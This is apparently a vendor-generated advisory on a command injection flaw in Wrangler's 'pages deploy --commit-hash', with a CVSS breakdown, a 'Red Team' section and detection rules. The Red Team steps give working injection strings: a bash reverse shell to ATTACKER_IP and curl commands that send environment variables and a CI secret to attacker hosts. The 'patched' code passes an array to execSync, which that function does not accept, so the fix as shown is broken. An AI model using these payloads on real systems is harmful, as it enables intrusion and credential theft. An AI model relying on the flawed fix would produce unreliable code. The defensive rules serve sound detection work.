CVE-2026-0933
Executive Summary
CVE-2026-0933 is a command injection vulnerability (CWE-78) discovered in Cloudflare's Wrangler CLI tool, specifically within the wrangler pages deploy command. The vulnerability arises from the unsanitized interpolation of the --commit-hash parameter into a shell command executed via execSync. An attacker who can control the --commit-hash value can inject arbitrary shell commands, leading to full compromise of the execution environment. While the attack surface is limited to scenarios where an attacker controls this parameter (e.g., CI/CD pipelines accepting untrusted input), the impact is severe, allowing command execution, environment variable exfiltration, and persistent backdoor installation. The vulnerability affects Wrangler v2 (EOL), v3, and v4, with patches available for v3 and v4. No public exploit code or Nuclei template is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Wrangler is distributed via npm as wrangler. This vulnerability introduces a supply chain risk in CI/CD environments where the tool is used to deploy Cloudflare Pages. If an attacker can inject a malicious --commit-hash value into a pipeline (e.g., via a pull request title, commit message, or external API), they can execute arbitrary commands on the build runner. This could lead to compromise of deployment credentials, source code theft, or lateral movement within the CI/CD infrastructure. Organizations using Wrangler in automated pipelines should immediately assess their exposure and apply the patch.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Base Score: 7.3 (High)
- Attack Vector (AV): Local (L) – The attacker must have local access to the system running Wrangler or control over the
--commit-hashinput. - Attack Complexity (AC): Low (L) – No special conditions required beyond controlling the input.
- Privileges Required (PR): Low (L) – The attacker needs the ability to supply the
--commit-hashparameter. - User Interaction (UI): Required (R) – A user must execute the
wrangler pages deploycommand with the malicious input. - Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
- Confidentiality (C): High (H) – Full access to files and environment variables.
- Integrity (I): High (H) – Arbitrary commands can modify system state.
- Availability (A): High (H) – Commands can disrupt or destroy the system.
Threat Level: High – While exploitation requires specific conditions, the impact is severe and the vulnerability is trivial to exploit once those conditions are met.
Deep Dive & Mechanics
The root cause lies in the wrangler pages deploy command's handling of the --commit-hash argument. The code directly interpolates the user-supplied value into a shell command string without sanitization:
const commitHash = args['commit-hash'];
const output = execSync(`git show -s --format=%B ${commitHash}`);
Because execSync spawns a shell, shell metacharacters (e.g., ;, |, $(), backticks) are interpreted. An attacker can inject commands by providing a value like:
--commit-hash "HEAD; curl http://attacker.com/exfil?data=$(env)"
This would execute git show -s --format=%B HEAD; curl http://attacker.com/exfil?data=$(env), exfiltrating environment variables.
The vulnerability is particularly dangerous in CI/CD pipelines where the --commit-hash might be derived from user-controlled data (e.g., pull request titles, commit messages, or webhook payloads). In such environments, an attacker can submit a malicious commit hash that, when processed by the pipeline, triggers command execution on the runner.
Vulnerable vs. Patched Code
Vulnerable Code (Wrangler < 3.114.17 / < 4.59.1):
// In pages/deploy.ts or similar
const commitHash = args['commit-hash'];
const output = execSync(`git show -s --format=%B ${commitHash}`);
Patched Code (Wrangler >= 3.114.17 / >= 4.59.1):
// Patched version uses argument passing to avoid shell interpretation
const commitHash = args['commit-hash'];
const output = execSync('git', ['show', '-s', '--format=%B', commitHash]);
The patch changes from a shell command string to an array of arguments, which prevents shell injection. The execSync function, when called with an array, does not invoke a shell, thus metacharacters are treated as literal arguments.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A system with Wrangler installed (v3 or v4, unpatched).
- Ability to pass a custom
--commit-hashvalue towrangler pages deploy.
Exploitation Steps:
Basic Command Execution:
wrangler pages deploy --commit-hash "HEAD; id"This will execute
idafter the git command, outputting the user ID.Reverse Shell (Linux):
wrangler pages deploy --commit-hash "HEAD; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"Environment Variable Exfiltration:
wrangler pages deploy --commit-hash "HEAD; curl http://ATTACKER_IP/$(env | base64 -w0)"CI/CD Pipeline Attack (GitHub Actions example):
- Attacker submits a pull request with a commit message containing:
HEAD; curl http://attacker.com/steal?token=${{ secrets.CF_API_TOKEN }} - If the pipeline uses
--commit-hashfrom the commit message, the secret is exfiltrated.
- Attacker submits a pull request with a commit message containing:
Lab Setup:
- Use a Docker container with an unpatched Wrangler version.
- Set up a netcat listener on the attacker machine.
- Execute the reverse shell command from the container.
Blue Team
Detection:
- Monitor for unusual
wrangler pages deploycommands containing shell metacharacters in the--commit-hashargument. - Audit CI/CD pipeline logs for unexpected command execution or network connections.
- Use the Sigma rule below to detect suspicious Wrangler invocations.
Hunting:
- Search for
execSyncorexeccalls in Wrangler source code (if auditing). - Review CI/CD pipeline configurations for untrusted input being passed to
--commit-hash.
Prevention:
- Immediately upgrade to patched versions.
- In CI/CD, validate and sanitize any external input before passing to Wrangler.
- Use least-privilege principles for CI runners.
Indicators of Compromise (IOCs)
- Process Creation:
wrangler pages deploywith arguments containing;,|,$(), or backticks. - Network Connections: Outbound connections to unknown IPs/domains from CI runners during Wrangler execution.
- File System Changes: Unexpected files in
/tmpor build directories (e.g., reverse shell scripts). - Environment Variable Access: Unusual access to environment variables (e.g.,
CF_API_TOKEN,AWS_ACCESS_KEY_ID).
Example IOC Log Entry:
Process: wrangler pages deploy --commit-hash "HEAD; curl http://malicious.com"
Parent Process: bash
User: runner
Detection Engineering
YARA Rule
rule CVE_2026_0933_Wrangler_Command_Injection {
meta:
description = "Detects command injection attempts in Wrangler pages deploy --commit-hash"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-0933"
strings:
$cmd1 = /wrangler pages deploy.*--commit-hash.*[;&|`$]/
$cmd2 = /execSync\(.*git show.*\$\{commitHash\}/
condition:
$cmd1 or $cmd2
}
Sigma Rule
title: CVE-2026-0933 Wrangler Command Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts via wrangler pages deploy --commit-hash
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-0933
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/wrangler'
CommandLine|contains|all:
- 'pages deploy'
- '--commit-hash'
CommandLine|contains:
- ';'
- '|'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of git commit hashes containing special characters (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-0933 Wrangler Command Injection Exfiltration"; flow:to_server; content:"wrangler"; http_user_agent; content:"pages deploy"; http_uri; content:"--commit-hash"; http_uri; pcre:"/(;|\||`|\$\()/U"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Wrangler to v3.114.17+ or v4.59.1+.
- For Wrangler v2 (EOL), migrate to a supported version.
- Review CI/CD pipelines for any use of
--commit-hashwith untrusted input.
Long-Term Measures:
- Implement input validation for all CLI arguments in development tools.
- Use argument arrays instead of shell strings for command execution.
- Conduct security reviews of CI/CD pipeline configurations.
- Monitor for similar vulnerabilities in other Cloudflare tools.
Workaround (if patching is not immediately possible):
- Avoid using
--commit-hashwith untrusted input. - If necessary, sanitize the input by removing shell metacharacters before passing to Wrangler.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2026-0933